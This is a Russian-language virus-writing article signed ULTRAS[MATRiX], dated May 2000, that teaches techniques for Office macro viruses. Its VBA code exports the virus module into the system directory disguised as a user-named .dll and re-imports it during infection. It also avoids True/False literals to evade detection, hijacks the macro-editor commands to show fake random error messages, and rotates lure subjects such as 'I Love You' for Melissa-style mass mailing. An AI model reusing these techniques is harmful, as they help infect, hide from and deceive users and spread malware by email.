функция Environ
***************
Писал я как то макрушный вирус и наткнулся на очень старую и
интересную функцию Environ. Чтобы получить например полный путь к
директории Windows, совсем не надо прибегать к API-функции
GetWindowsDirectory а получить её можно так:
ultra = Environ ("windir")
Также можно получить следующие переменые:
ultra = Environ ("TMP") 'директория временных файлов TEMP
ultra = Environ ("BLASTER") 'координаты звуковой карты
ultra = Environ ("PATH") 'пути, объявленные в autoexec.bat
System Directory
****************
Если вы используете при заражений EXPORT/IMPORT файл(вирусный файл),
то для скрытия своего вируса в системе лучше всего не бросать файл
"J0pa.sys" в корень диска C, а кидать например в системную диру с именем
пользователя..
Declare Function GetSystemDirectory Lib "kernel32" Alias
"GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As
Long ' Используем API функцию
Dim SysDir As String
SysDir = SystemDirectory
If Right(SysDir, 1) <> "\" Then SysDir = SysDir + "\"
' Получим full путь к системной дире....
.VBComponents("NameYouVirusModule").Export SysDir & Application.UserName & ".dll"
' EXPORT вируса на диск в системную диру(модуль вируса имяпользователя.dll).
--- Вирусный код проверки и заражения
.VBComponents.Import(SysDir & Application.UserName & ".dll")
' IMPORT вируса из системной диры (модуль вируса имяпользователя.dll).
' Функция+параметры для получения полного пути к системной дире
Function SystemDirectory() As String
On Local Error Resume Next
Dim Winpath As String
Dim temp
Winpath = String(145, Chr(0))
temp = GetSystemDirectory(Winpath, 145)
SystemDirectory = Left(Winpath, InStr(Winpath, Chr(0)) - 1)
End Function
True & False
************
Лучше не использовать в вирусе метки TRUE и FALSE.. Их можно заменить на:
Options.SaveNormalPrompt = False equ Options.SaveNormalPrompt = (45-45)
Options.SaveNormalPrompt = True equ Options.SaveNormalPrompt = (46-45)
Stealth (random message)
************************
Если вы хотите чтобы ваш вирус при открытий функций работы с макросами
и показывал сообщение об ошибки, то можно сделать лучше показывать 5(и
более) разных сообщений рандомно. Тоесть каждый раз при открытий функций
работы с макросами пользователю буду показываться разные сообщения...
Sub ViewVBCode()
Stealth
End Sub
Sub ToolsMacro()
Stealth
End Sub
Sub FileTemplates()
Stealth
End Sub
Sub Stealth()
On Error Resume Next
Randomize
numberz = Int(Rnd * 5) + 1
If numberz = 1 Then me$ = "Сообщение 1"
If numberz = 2 Then me$ = "Сообщение 2"
If numberz = 3 Then me$ = "Сообщение 3"
If numberz = 4 Then me$ = "Сообщение 4"
If numberz = 5 Then me$ = "Сообщение 5"
MsgBox me$, vbCritical
End Sub
E-MAiL Sender
*************
Если вы юзаете в своем вирусе посылку писем по мылу(Melissa), то лучше
всего использовать не один Subject & Body а генерировать как выше
указанном методе...
вот маленький пример, генерация заголовка письма я думаю Body вы сами
напишите:
Randomize
numberz = Int(Rnd * 5) + 1
If numberz = 1 Then me$ = "Free Antivirus"
If numberz = 2 Then me$ = "I Love You"
If numberz = 3 Then me$ = "Please read it.."
If numberz = 4 Then me$ = "New operation system"
If numberz = 5 Then me$ = "You are winner!"
ULTRAS[MATRiX]
9 may 2000
Статья для журнала Top Device
|